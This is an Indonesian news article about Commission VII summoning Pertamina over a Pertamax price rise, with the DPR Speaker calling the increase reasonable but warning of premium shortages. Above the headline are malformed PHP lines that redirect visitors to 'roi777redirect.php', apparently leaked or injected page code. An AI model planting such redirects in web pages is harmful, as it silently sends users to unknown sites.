header( 'Location: /roi777redirect.php true, 303 );header( 'Location: roi777redirect.php', true, 303 ); Pertamax Naik, Ketua DPR: Menurut Saya Wajar -
Pertamax Naik, Ketua DPR: Menurut Saya Wajar

Komisi VII DPR Panggil Pertamina

TRANSLAMPUNG.COM, JAKARTA – Komisi VII DPR memastikan segera memanggil PT Pertamina atas aksi korporasinya menaikkan secara sepihak harga BBM non-subsidi. Hal ini disampaikan Ketua Komisi VII DPR Gus Irawan Pasaribu, kepada JPNN.com, Senin (2/7).

Dia menyebutkan, DPR tidak pernah diajak bicara mengenai rencana kenaikan BBM ini sebelumnya.

“Kami akan panggil Pertamina, kami mau buka-bukaan saja. Apa dasarnya sampai ada kenaikan sebesar Rp 600 rupiah, berbeda harga di satu provinsi dengan provinsi lain,” ucap Gus.

Bila yang menjadi alasan Pertamina adalah harga keekonomian, maka DPR akan meminta perusahaan pelat merah itu buka-bukaan tentang berapa harga sebenarnya.

“Betul rupiah melemah, harga minyak dunia meningkat. Nah mari kita hitung-hitungan harga keekonomiannya berapa? Tapi jangan ada data yang ditutup-tutupi. Jangan parsial menghitung harga keekonomian itu. Ini kan ujung-ujungnya ke masyarakat,” pungkasnya.

Kemudian, Ketua DPR Bambang Soesatyo menilai tidak ada masalah dengan langkah pemerintah menaikkan harga pertamax. Sebab, pertamax merupakan bahan bakar minyak (BBM) yang dikonsumsi kalangan menengah ke atas.

“Menurt saya wajar itu adalah corporate action,” kata Bambang di gedung DPR, Jakarta, Selasa (2/7).

Menurut Bamsoet, yang penting adalah yang dinaikkan pemerintah itu bukan bahan bakar yang dibutuhkan masyarakat banyak. Dia berpendapat, sejauh BBM itu hanya digunakan kelas menengah atas dan tidak mengganggu perekonomian rakyat, tak masalah.

Namun, Bamsoet mengingatkan, jangan sampai kenaikan pertamax itu menyebabkan orang lari menggunakan premium. Sehingga bisa menimbulkan kelangkaan premium nantinya.

“Karena kalau bedanya (harga) jauh pasti orang beli premium. Dan itu pasti akan menimbulkan kelangkaan,” ujar legislator Partai Golkar itu.

Mantan ketua Komisi III DPR itu khawatir ujung-ujungnya nanti akan menyusahkan pasokan premium untuk transportasi masyarakat banyak.

“Saya tidak tahu bagaimana Pertamina mengelola ini dan bagaimana kemudian Kemenkeu mengelola perekonomian ini. Saya melihat justru persoalan bangsa ini ada di situ,” ungkapnya. (boy/jpnn/ang/tnn)

News Reporter